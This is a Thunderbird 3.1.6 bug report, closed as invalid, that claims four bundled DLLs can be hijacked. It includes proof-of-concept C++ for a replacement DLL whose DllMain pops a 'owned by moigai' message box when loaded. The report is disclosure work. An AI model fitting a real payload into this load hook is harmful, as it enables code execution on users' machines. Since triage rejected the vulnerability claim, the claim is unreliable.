609223 - DLL hijacking is possible in Thunderbird 3.1.6

Status: RESOLVED INVALID

(Thunderbird :: Security, defect)

Description

[again.liu]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
Build Identifier: 3.1.6

freebl3.dll, nssckbi.dll, nssdbm3.dll and softokn3.dll in Mozilla Thunderbird 3.1.6 is prone to DLL hijacking attack.

Reproducible: Always

Steps to Reproduce:
Compile the following code, change the name of the DLL, then replace it with the original one.
VC++ 2010, Released, Multi-threaded(/MT)
=========================================================================
#include<Windows.h>

void init()
{
	MessageBoxA(NULL, "owned by moigai", "YOOOOOO!!", MB_OK);
}

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	switch(ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			init();
			break;
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}
=========================================================================
Actual Results:  
the message box coded will pop up

Comment 1

[Ludovic Hirlimann [:Usul]]

Same treatment as bug 609208